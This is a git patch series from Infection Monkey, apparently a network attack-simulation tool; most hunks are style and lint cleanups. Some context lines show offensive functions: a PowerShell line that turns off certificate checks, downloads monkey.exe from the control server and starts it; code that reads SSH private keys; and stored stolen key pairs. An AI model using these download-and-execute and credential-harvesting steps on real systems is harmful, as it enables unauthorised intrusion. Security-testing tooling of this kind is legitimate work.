("bcc1", ""),
("Data",
- b"\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
+ b"\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02"
+ b"\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00"
+ b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f"
+ b"\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63"
+ b"\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00"
+ b"\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35"
+ b"\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
])
diff --git a/monkey/infection_monkey/network/tcp_scanner.py b/monkey/infection_monkey/network/tcp_scanner.py
index 2ea88842f..fa2d812ae 100644
--- a/monkey/infection_monkey/network/tcp_scanner.py
+++ b/monkey/infection_monkey/network/tcp_scanner.py
@@ -25,7 +25,8 @@ class TcpScanner(HostScanner, HostFinger):
Scans a target host to see if it's alive using the tcp_target_ports specified in the configuration.
:param host: VictimHost structure
:param only_one_port: Currently unused.
- :return: T/F if there is at least one open port. In addition, the host object is updated to mark those services as alive.
+ :return: T/F if there is at least one open port.
+ In addition, the host object is updated to mark those services as alive.
"""
# maybe hide under really bad detection systems
diff --git a/monkey/infection_monkey/system_info/SSH_info_collector.py b/monkey/infection_monkey/system_info/SSH_info_collector.py
index 60c509fc6..31afdb8ed 100644
--- a/monkey/infection_monkey/system_info/SSH_info_collector.py
+++ b/monkey/infection_monkey/system_info/SSH_info_collector.py
@@ -63,7 +63,7 @@ class SSHCollector(object):
LOG.info("Found public key in %s" % public)
try:
with open(public) as f:
- info['public_key'] = f.read()
+ info['public_key'] = f.read()
# By default private key has the same name as public, only without .pub
private = os.path.splitext(public)[0]
if os.path.exists(private):
diff --git a/monkey/infection_monkey/transport/base.py b/monkey/infection_monkey/transport/base.py
index e6a5bc366..a02d86708 100644
--- a/monkey/infection_monkey/transport/base.py
+++ b/monkey/infection_monkey/transport/base.py
@@ -27,4 +27,4 @@ def update_last_serve_time():
def get_last_serve_time():
global g_last_served
- return g_last_served
\ No newline at end of file
+ return g_last_served
diff --git a/monkey/monkey_island/cc/models/test_monkey.py b/monkey/monkey_island/cc/models/test_monkey.py
index 472c5770b..a7f6f90da 100644
--- a/monkey/monkey_island/cc/models/test_monkey.py
+++ b/monkey/monkey_island/cc/models/test_monkey.py
@@ -84,7 +84,7 @@ class TestMonkey(IslandTestCase):
self.clean_monkey_db()
linux_monkey = Monkey(guid=str(uuid.uuid4()),
- description="Linux shay-Virtual-Machine 4.15.0-50-generic #54-Ubuntu SMP Mon May 6 18:46:08 UTC 2019 x86_64 x86_64")
+ description="Linux shay-Virtual-Machine 4.15.0-50-generic #54-Ubuntu")
windows_monkey = Monkey(guid=str(uuid.uuid4()),
description="Windows bla bla bla")
unknown_monkey = Monkey(guid=str(uuid.uuid4()),
diff --git a/monkey/monkey_island/cc/resources/root.py b/monkey/monkey_island/cc/resources/root.py
index d7cae8bd7..59a8fbe7c 100644
--- a/monkey/monkey_island/cc/resources/root.py
+++ b/monkey/monkey_island/cc/resources/root.py
@@ -1,18 +1,18 @@
-from datetime import datetime
import logging
import threading
+from datetime import datetime
import flask_restful
from flask import request, make_response, jsonify
from monkey_island.cc.auth import jwt_required
from monkey_island.cc.database import mongo
+from monkey_island.cc.services.database import Database
from monkey_island.cc.services.node import NodeService
from monkey_island.cc.services.reporting.report import ReportService
-from monkey_island.cc.services.attack.attack_report import AttackReportService
-from monkey_island.cc.services.reporting.report_generation_synchronisation import is_report_being_generated, safe_generate_reports
+from monkey_island.cc.services.reporting.report_generation_synchronisation import is_report_being_generated, \
+ safe_generate_reports
from monkey_island.cc.utils import local_ip_addresses
-from monkey_island.cc.services.database import Database
__author__ = 'Barak'
diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py
index f88b7e8b9..1c18f7654 100644
--- a/monkey/monkey_island/cc/services/attack/attack_report.py
+++ b/monkey/monkey_island/cc/services/attack/attack_report.py
@@ -75,7 +75,10 @@ class AttackReportService:
Gets timestamp of latest attack telem
:return: timestamp of latest attack telem
"""
- return [x['timestamp'] for x in mongo.db.telemetry.find({'telem_category': 'attack'}).sort('timestamp', -1).limit(1)][0]
+ return [
+ x['timestamp'] for x in
+ mongo.db.telemetry.find({'telem_category': 'attack'}).sort('timestamp', -1).limit(1)
+ ][0]
@staticmethod
def get_latest_report():
diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py
index 2d38b6498..09771302d 100644
--- a/monkey/monkey_island/cc/services/config.py
+++ b/monkey/monkey_island/cc/services/config.py
@@ -122,11 +122,16 @@ class ConfigService:
@staticmethod
def ssh_add_keys(public_key, private_key, user, ip):
- if not ConfigService.ssh_key_exists(ConfigService.get_config_value(['internal', 'exploits', 'exploit_ssh_keys'],
- False, False), user, ip):
- ConfigService.add_item_to_config_set('internal.exploits.exploit_ssh_keys',
- {"public_key": public_key, "private_key": private_key,
- "user": user, "ip": ip})
+ if not ConfigService.ssh_key_exists(
+ ConfigService.get_config_value(['internal', 'exploits', 'exploit_ssh_keys'], False, False), user, ip):
+ ConfigService.add_item_to_config_set(
+ 'internal.exploits.exploit_ssh_keys',
+ {
+ "public_key": public_key,
+ "private_key": private_key,
+ "user": user, "ip": ip
+ }
+ )
@staticmethod
def ssh_key_exists(keys, user, ip):
diff --git a/monkey/monkey_island/cc/services/remote_run_aws.py b/monkey/monkey_island/cc/services/remote_run_aws.py
index 77b6d95ea..4ec1fd427 100644
--- a/monkey/monkey_island/cc/services/remote_run_aws.py
+++ b/monkey/monkey_island/cc/services/remote_run_aws.py
@@ -131,7 +131,7 @@ class RemoteRunAwsService:
return r"[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {" \
r"$true}; (New-Object System.Net.WebClient).DownloadFile('https://" + island_ip + \
r":5000/api/monkey/download/monkey-windows-" + bit_text + r".exe','.\\monkey.exe'); " \
- r";Start-Process -FilePath '.\\monkey.exe' -ArgumentList 'm0nk3y -s " + island_ip + r":5000'; "
+ r";Start-Process -FilePath '.\\monkey.exe' -ArgumentList 'm0nk3y -s " + island_ip + r":5000'; "
@staticmethod
def _get_run_monkey_cmd_line(is_linux, is_64bit, island_ip):
diff --git a/monkey/monkey_island/cc/services/reporting/aws_exporter.py b/monkey/monkey_island/cc/services/reporting/aws_exporter.py
index 8690f6ee1..f0b6bdb6a 100644
--- a/monkey/monkey_island/cc/services/reporting/aws_exporter.py
+++ b/monkey/monkey_island/cc/services/reporting/aws_exporter.py
@@ -148,8 +148,8 @@ class AWSExporter(Exporter):
severity=5,
title="Weak segmentation - Machines were able to communicate over unused ports.",
description="Use micro-segmentation policies to disable communication other than the required.",
- recommendation="Machines are not locked down at port level. Network tunnel was set up from {0} to {1}"
- .format(issue['machine'], issue['dest']),
+ recommendation="Machines are not locked down at port level. "
+ "Network tunnel was set up from {0} to {1}".format(issue['machine'], issue['dest']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@@ -160,10 +160,12 @@ class AWSExporter(Exporter):
return AWSExporter._build_generic_finding(
severity=10,
title="Samba servers are vulnerable to 'SambaCry'",
- description="Change {0} password to a complex one-use password that is not shared with other computers on the network. Update your Samba server to 4.4.14 and up, 4.5.10 and up, or 4.6.4 and up." \
- .format(issue['username']),
- recommendation="The machine {0} ({1}) is vulnerable to a SambaCry attack. The Monkey authenticated over the SMB protocol with user {2} and its password, and used the SambaCry vulnerability.".format(
- issue['machine'], issue['ip_address'], issue['username']),
+ description="Change {0} password to a complex one-use password that is not shared with other computers on the "
+ "network. Update your Samba server to 4.4.14 and up, "
+ "4.5.10 and up, or 4.6.4 and up.".format(issue['username']),
+ recommendation="The machine {0} ({1}) is vulnerable to a SambaCry attack. The Monkey authenticated over the SMB "
+ "protocol with user {2} and its password, and used the SambaCry "
+ "vulnerability.".format(issue['machine'], issue['ip_address'], issue['username']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@@ -174,10 +176,10 @@ class AWSExporter(Exporter):
return AWSExporter._build_generic_finding(
severity=5,
title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
- description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
- issue['username']),
- recommendation="The machine {0}({1}) is vulnerable to a SMB attack. The Monkey used a pass-the-hash attack over SMB protocol with user {2}.".format(
- issue['machine'], issue['ip_address'], issue['username']),
+ description="Change {0}'s password to a complex one-use password that is not shared with other computers on the "
+ "network.".format(issue['username']),
+ recommendation="The machine {0}({1}) is vulnerable to a SMB attack. The Monkey used a pass-the-hash attack over "
+ "SMB protocol with user {2}.".format(issue['machine'], issue['ip_address'], issue['username']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@@ -188,10 +190,11 @@ class AWSExporter(Exporter):
return AWSExporter._build_generic_finding(
severity=1,
title="Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.",
- description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
- issue['username']),
- recommendation="The machine {0} ({1}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with user {2} and its password.".format(
- issue['machine'], issue['ip_address'], issue['username']),
+ description="Change {0}'s password to a complex one-use password that is not shared with other computers on the "
+ "network.".format(issue['username']),
+ recommendation="The machine {0} ({1}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH"
+ " protocol with user {2} and its "
+ "password.".format(issue['machine'], issue['ip_address'], issue['username']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@@ -203,8 +206,11 @@ class AWSExporter(Exporter):
severity=1,
title="Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.",
description="Protect {ssh_key} private key with a pass phrase.".format(ssh_key=issue['ssh_key']),
- recommendation="The machine {machine} ({ip_address}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with private key {ssh_key}.".format(
- machine=issue['machine'], ip_address=issue['ip_address'], ssh_key=issue['ssh_key']),
+ recommendation="The machine {machine} ({ip_address}) is vulnerable to a SSH attack. The Monkey authenticated "
+ "over the SSH protocol with private key {ssh_key}.".format(
+ machine=issue['machine'],
+ ip_address=issue['ip_address'],
+ ssh_key=issue['ssh_key']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@@ -216,8 +222,10 @@ class AWSExporter(Exporter):
severity=10,
title="Elastic Search servers are vulnerable to CVE-2015-1427",
description="Update your Elastic Search server to version 1.4.3 and up.",
- recommendation="The machine {0}({1}) is vulnerable to an Elastic Groovy attack. The attack was made possible because the Elastic Search server was not patched against CVE-2015-1427.".format(
- issue['machine'], issue['ip_address']),
+ recommendation="The machine {0}({1}) is vulnerable to an Elastic Groovy attack. The attack was made "
+ "possible because the Elastic Search server was not patched against CVE-2015-1427.".format(
+ issue['machine'],
+ issue['ip_address']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@@ -228,13 +236,13 @@ class AWSExporter(Exporter):
return AWSExporter._build_generic_finding(
severity=1,
title="Weak segmentation - Machines from different segments are able to communicate.",
- description="Segment your network and make sure there is no communication between machines from different segments.",
+ description="Segment your network and make sure there is no communication between machines from different "
+ "segments.",
recommendation="The network can probably be segmented. A monkey instance on \
{0} in the networks {1} \
could directly access the Monkey Island server in the networks {2}.".format(issue['machine'],
issue['networks'],
- issue[
- 'server_networks']),
+ issue['server_networks']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@@ -259,8 +267,9 @@ class AWSExporter(Exporter):
title="Machines are vulnerable to 'Shellshock'",
description="Update your Bash to a ShellShock-patched version.",
recommendation="The machine {0} ({1}) is vulnerable to a ShellShock attack. "
- "The attack was made possible because the HTTP server running on TCP port {2} was vulnerable to a shell injection attack on the paths: {3}.".format(
- issue['machine'], issue['ip_address'], issue['port'], issue['paths']),
+ "The attack was made possible because the HTTP server running on TCP port {2} was vulnerable to a "
+ "shell injection attack on the paths: {3}.".format(
+ issue['machine'], issue['ip_address'], issue['port'], issue['paths']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@@ -271,10 +280,13 @@ class AWSExporter(Exporter):
return AWSExporter._build_generic_finding(
severity=1,
title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
- description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
- issue['username']),
- recommendation="The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey authenticated over the SMB protocol with user {2} and its password.".format(
- issue['machine'], issue['ip_address'], issue['username']),
+ description="Change {0}'s password to a complex one-use password that is not shared with other computers on the "
+ "network.".format(issue['username']),
+ recommendation="The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey authenticated over the SMB "
+ "protocol with user {2} and its password.".format(
+ issue['machine'],
+ issue['ip_address'],
+ issue['username']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@@ -285,9 +297,13 @@ class AWSExporter(Exporter):
return AWSExporter._build_generic_finding(
severity=1,
title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
- description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.",
- recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey authenticated over the WMI protocol with user {username} and its password.".format(
- machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']),
+ description="Change {0}'s password to a complex one-use password that is not shared with other computers on the "
+ "network.",
+ recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey authenticated over "
+ "the WMI protocol with user {username} and its password.".format(
+ machine=issue['machine'],
+ ip_address=issue['ip_address'],
+ username=issue['username']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@@ -298,10 +314,13 @@ class AWSExporter(Exporter):
return AWSExporter._build_generic_finding(
severity=1,
title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
- description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
- issue['username']),
- recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey used a pass-the-hash attack over WMI protocol with user {username}".format(
- machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']),
+ description="Change {0}'s password to a complex one-use password that is not shared with other computers on the "
+ "network.".format(issue['username']),
+ recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey used a "
+ "pass-the-hash attack over WMI protocol with user {username}".format(
+ machine=issue['machine'],
+ ip_address=issue['ip_address'],
+ username=issue['username']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@@ -325,9 +344,10 @@ class AWSExporter(Exporter):
return AWSExporter._build_generic_finding(
severity=1,
title="Shared local administrator account - Different machines have the same account as a local administrator.",
- description="Make sure the right administrator accounts are managing the right machines, and that there isn\'t an unintentional local admin sharing.",
- recommendation="Here is a list of machines which the account {username} is defined as an administrator: {shared_machines}".format(
- username=issue['username'], shared_machines=issue['shared_machines']),
+ description="Make sure the right administrator accounts are managing the right machines, and that there isn\'t "
+ "an unintentional local admin sharing.",
+ recommendation="Here is a list of machines which the account {username} is defined as an administrator: "
+ "{shared_machines}".format(username=issue['username'], shared_machines=issue['shared_machines']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@@ -339,8 +359,9 @@ class AWSExporter(Exporter):
severity=1,
title="Mimikatz found login credentials of a user who has admin access to a server defined as critical.",
description="This critical machine is open to attacks via strong users with access to it.",
- recommendation="The services: {services} have been found on the machine thus classifying it as a critical machine. These users has access to it:{threatening_users}.".format(
- services=issue['services'], threatening_users=issue['threatening_users']),
+ recommendation="The services: {services} have been found on the machine thus classifying it as a critical "
+ "machine. These users has access to it:{threatening_users}.".format(
+ services=issue['services'], threatening_users=issue['threatening_users']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@@ -353,8 +374,8 @@ class AWSExporter(Exporter):
title="Struts2 servers are vulnerable to remote code execution.",
description="Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions.",
recommendation="Struts2 server at {machine} ({ip_address}) is vulnerable to remote code execution attack."
- " The attack was made possible because the server is using an old version of Jakarta based file upload Multipart parser.".format(
- machine=issue['machine'], ip_address=issue['ip_address']),
+ "The attack was made possible because the server is using an old version of Jakarta based file "
+ "upload Multipart parser.".format(machine=issue['machine'], ip_address=issue['ip_address']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@@ -368,8 +389,8 @@ class AWSExporter(Exporter):
description="Install Oracle critical patch updates. Or update to the latest version. " \
"Vulnerable versions are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0.",
recommendation="Oracle WebLogic server at {machine} ({ip_address}) is vulnerable to remote code execution attack."
- " The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware (subcomponent: WLS Security).".format(
- machine=issue['machine'], ip_address=issue['ip_address']),
+ "The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware "
+ "(subcomponent: WLS Security).".format(machine=issue['machine'], ip_address=issue['ip_address']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
diff --git a/monkey/monkey_island/cc/services/reporting/pth_report.py b/monkey/monkey_island/cc/services/reporting/pth_report.py
index 5e77b6395..ecb209c69 100644
--- a/monkey/monkey_island/cc/services/reporting/pth_report.py
+++ b/monkey/monkey_island/cc/services/reporting/pth_report.py
@@ -30,7 +30,6 @@ class PTHReportService(object):
}
"""
-
pipeline = [
{"$match": {
'NTLM_secret': {
@@ -55,7 +54,7 @@ class PTHReportService(object):
:param admin_on_machines: A list of "monkey" documents "_id"s
:param domain_name: The admins' domain name
:return:
- A list of formatted machines names *domain*\*hostname*, to use in shared admins issues.
+ A list of formatted machines names *domain*/*hostname*, to use in shared admins issues.
"""
machines = mongo.db.monkey.find({'_id': {'$in': admin_on_machines}}, {'hostname': 1})
return [domain_name + '\\' + i['hostname'] for i in list(machines)]
@@ -108,7 +107,7 @@ class PTHReportService(object):
'username': user['name'],
'domain_name': user['domain_name'],
'hostname': NodeService.get_hostname_by_id(ObjectId(user['machine_id'])) if user['machine_id'] else None
- } for user in doc['Docs']
+ } for user in doc['Docs']
]
users_cred_groups.append({'cred_groups': users_list})
@@ -144,7 +143,8 @@ class PTHReportService(object):
{
'name': admin['name'],
'domain_name': admin['domain_name'],
- 'admin_on_machines': PTHReportService.__get_admin_on_machines_format(admin['admin_on_machines'], admin['domain_name'])
+ 'admin_on_machines': PTHReportService.__get_admin_on_machines_format(admin['admin_on_machines'],
+ admin['domain_name'])
} for admin in admins
]
@@ -153,11 +153,11 @@ class PTHReportService(object):
admins_info = PTHReportService.get_shared_admins_nodes()
return [
{
- 'is_local': False,
- 'type': 'shared_admins_domain',
- 'machine': admin['domain_name'],
- 'username': admin['domain_name'] + '\\' + admin['name'],
- 'shared_machines': admin['admin_on_machines'],
+ 'is_local': False,
+ 'type': 'shared_admins_domain',
+ 'machine': admin['domain_name'],
+ 'username': admin['domain_name'] + '\\' + admin['name'],
+ 'shared_machines': admin['admin_on_machines'],
}
for admin in admins_info]
@@ -262,7 +262,7 @@ class PTHReportService(object):
return {
'nodes': PTHReportService.generate_map_nodes(),
'edges': PTHReportService.generate_edges()
- }
+ }
@staticmethod
def get_report():
@@ -283,4 +283,3 @@ class PTHReportService(object):
}
return report
-
diff --git a/monkey/monkey_island/cc/utils.py b/monkey/monkey_island/cc/utils.py
index cf59ae7df..58dff1f5a 100644
--- a/monkey/monkey_island/cc/utils.py
+++ b/monkey/monkey_island/cc/utils.py
@@ -65,11 +65,18 @@ def local_ip_addresses():
# The subnets list should not change often. Therefore, we can cache the result and never call this function
# more than once. This stopgap measure is here since this function is called a lot of times during the report
# generation.
-# This means that if the interfaces or subnets of the Island machine change, the Island process needs to be restarted.
+# This means that if the interfaces or subnets of the Island machine change, the Island process needs to be restarted.
@lru(maxsize=1)
def get_subnets():
subnets = []
for interface in interfaces():
addresses = ifaddresses(interface).get(AF_INET, [])
- subnets.extend([ipaddress.ip_interface(link['addr'] + '/' + link['netmask']).network for link in addresses if link['addr'] != '127.0.0.1'])
+ subnets.extend(
+ [
+ ipaddress.ip_interface(link['addr'] + '/' + link['netmask']).network
+ for link
+ in addresses
+ if link['addr'] != '127.0.0.1'
+ ]
+ )
return subnets
From 4b0ea4aed7629636158eb729cc112e56aa6cd904 Mon Sep 17 00:00:00 2001
From: Shay Nehmad
Date: Mon, 28 Oct 2019 16:15:31 +0200
Subject: [PATCH 073/108] Variable names and const location fixes
---
monkey/infection_monkey/control.py | 2 +-
monkey/infection_monkey/dropper.py | 5 +++--
monkey/infection_monkey/network/firewall.py | 6 +++---
monkey/infection_monkey/network/info.py | 11 +++++------
monkey/infection_monkey/transport/http.py | 10 ++++------
monkey/monkey_island/cc/environment/environment.py | 4 ++--
monkey/monkey_island/cc/models/monkey.py | 2 +-
monkey/monkey_island/cc/services/config.py | 12 ++++++------
monkey/monkey_island/cc/services/edge.py | 6 +++---
monkey/monkey_island/cc/services/node.py | 6 +++---
10 files changed, 31 insertions(+), 33 deletions(-)
diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py
index 54d528976..b063744ad 100644
--- a/monkey/infection_monkey/control.py
+++ b/monkey/infection_monkey/control.py
@@ -304,7 +304,7 @@ class ControlClient(object):
try:
target_addr, target_port = my_proxy.split(':', 1)
target_port = int(target_port)
- except:
+ except ValueError:
return None
else:
proxy_class = HTTPConnectProxy
diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py
index ee1194035..0fc6dd10a 100644
--- a/monkey/infection_monkey/dropper.py
+++ b/monkey/infection_monkey/dropper.py
@@ -26,6 +26,7 @@ else:
try:
WindowsError
except NameError:
+ # noinspection PyShadowingBuiltins
WindowsError = IOError
__author__ = 'itamar'
@@ -103,14 +104,14 @@ class MonkeyDrops(object):
dropper_date_reference_path = WormConfiguration.dropper_date_reference_path_linux
try:
ref_stat = os.stat(dropper_date_reference_path)
- except OSError as exc:
+ except OSError:
LOG.warning("Cannot set reference date using '%s', file not found",
dropper_date_reference_path)
else:
try:
os.utime(self._config['destination_path'],
(ref_stat.st_atime, ref_stat.st_mtime))
- except:
+ except OSError:
LOG.warning("Cannot set reference date to destination file")
monkey_options =\
diff --git a/monkey/infection_monkey/network/firewall.py b/monkey/infection_monkey/network/firewall.py
index 06d98dcbd..3b0161bbb 100644
--- a/monkey/infection_monkey/network/firewall.py
+++ b/monkey/infection_monkey/network/firewall.py
@@ -25,7 +25,7 @@ class FirewallApp(object):
def __enter__(self):
return self
- def __exit__(self, type, value, traceback):
+ def __exit__(self, exc_type, value, traceback):
self.close()
def close(self):
@@ -49,9 +49,9 @@ class WinAdvFirewall(FirewallApp):
except:
return None
- def add_firewall_rule(self, name="Firewall", dir="in", action="allow", program=sys.executable, **kwargs):
+ def add_firewall_rule(self, name="Firewall", direction="in", action="allow", program=sys.executable, **kwargs):
netsh_args = {'name': name,
- 'dir': dir,
+ 'dir': direction,
'action': action,
'program': program}
netsh_args.update(kwargs)
diff --git a/monkey/infection_monkey/network/info.py b/monkey/infection_monkey/network/info.py
index cc198312c..2d7b981f5 100644
--- a/monkey/infection_monkey/network/info.py
+++ b/monkey/infection_monkey/network/info.py
@@ -16,6 +16,11 @@ from infection_monkey.utils.environment import is_windows_os
# Timeout for monkey connections
TIMEOUT = 15
+LOOPBACK_NAME = b"lo"
+SIOCGIFADDR = 0x8915 # get PA address
+SIOCGIFNETMASK = 0x891b # get network PA mask
+RTF_UP = 0x0001 # Route usable
+RTF_REJECT = 0x0200
def get_host_subnets():
@@ -62,12 +67,6 @@ else:
def get_routes(): # based on scapy implementation for route parsing
- LOOPBACK_NAME = b"lo"
- SIOCGIFADDR = 0x8915 # get PA address
- SIOCGIFNETMASK = 0x891b # get network PA mask
- RTF_UP = 0x0001 # Route usable
- RTF_REJECT = 0x0200
-
try:
f = open("/proc/net/route", "r")
except IOError:
diff --git a/monkey/infection_monkey/transport/http.py b/monkey/infection_monkey/transport/http.py
index eb1e5d355..7650cb229 100644
--- a/monkey/infection_monkey/transport/http.py
+++ b/monkey/infection_monkey/transport/http.py
@@ -64,7 +64,6 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
if self.path != '/' + urllib.parse.quote(os.path.basename(self.filename)):
self.send_error(500, "")
return None, 0, 0
- f = None
try:
f = monkeyfs.open(self.filename, 'rb')
except IOError:
@@ -100,10 +99,10 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
self.end_headers()
return f, start_range, end_range
- def log_message(self, format, *args):
+ def log_message(self, format_string, *args):
LOG.debug("FileServHTTPRequestHandler: %s - - [%s] %s" % (self.address_string(),
self.log_date_time_string(),
- format % args))
+ format_string % args))
class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler):
@@ -117,7 +116,6 @@ class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler):
def do_CONNECT(self):
# just provide a tunnel, transfer the data with no modification
req = self
- reqbody = None
req.path = "https://%s/" % req.path.replace(':443', '')
u = urlsplit(req.path)
@@ -148,9 +146,9 @@ class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler):
update_last_serve_time()
conn.close()
- def log_message(self, format, *args):
+ def log_message(self, format_string, *args):
LOG.debug("HTTPConnectProxyHandler: %s - [%s] %s" %
- (self.address_string(), self.log_date_time_string(), format % args))
+ (self.address_string(), self.log_date_time_string(), format_string % args))
class HTTPServer(threading.Thread):
diff --git a/monkey/monkey_island/cc/environment/environment.py b/monkey/monkey_island/cc/environment/environment.py
index 6115e8dd9..868e6ec36 100644
--- a/monkey/monkey_island/cc/environment/environment.py
+++ b/monkey/monkey_island/cc/environment/environment.py
@@ -34,8 +34,8 @@ def load_server_configuration_from_file():
def load_env_from_file():
- config_json = load_server_configuration_from_file()
- return config_json['server_config']
+ loaded_config_json = load_server_configuration_from_file()
+ return loaded_config_json['server_config']
try:
diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py
index 1a0e872f6..c257ae298 100644
--- a/monkey/monkey_island/cc/models/monkey.py
+++ b/monkey/monkey_island/cc/models/monkey.py
@@ -132,7 +132,7 @@ def is_monkey(object_id):
try:
_ = Monkey.get_single_monkey_by_id(object_id)
return True
- except:
+ except MonkeyNotFoundError:
return False
diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py
index 09771302d..641da8055 100644
--- a/monkey/monkey_island/cc/services/config.py
+++ b/monkey/monkey_island/cc/services/config.py
@@ -144,7 +144,7 @@ class ConfigService:
if should_encrypt:
try:
ConfigService.encrypt_config(config_json)
- except KeyError as e:
+ except KeyError:
logger.error('Bad configuration file was submitted.')
return False
mongo.db.config.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True)
@@ -154,9 +154,9 @@ class ConfigService:
@staticmethod
def init_default_config():
if ConfigService.default_config is None:
- defaultValidatingDraft4Validator = ConfigService._extend_config_with_default(Draft4Validator)
+ default_validating_draft4_validator = ConfigService._extend_config_with_default(Draft4Validator)
config = {}
- defaultValidatingDraft4Validator(SCHEMA).validate(config)
+ default_validating_draft4_validator(SCHEMA).validate(config)
ConfigService.default_config = config
@staticmethod
@@ -207,15 +207,15 @@ class ConfigService:
# Do it only for root.
if instance != {}:
return
- for property, subschema in list(properties.items()):
+ for property1, subschema1 in list(properties.items()):
main_dict = {}
- for property2, subschema2 in list(subschema["properties"].items()):
+ for property2, subschema2 in list(subschema1["properties"].items()):
sub_dict = {}
for property3, subschema3 in list(subschema2["properties"].items()):
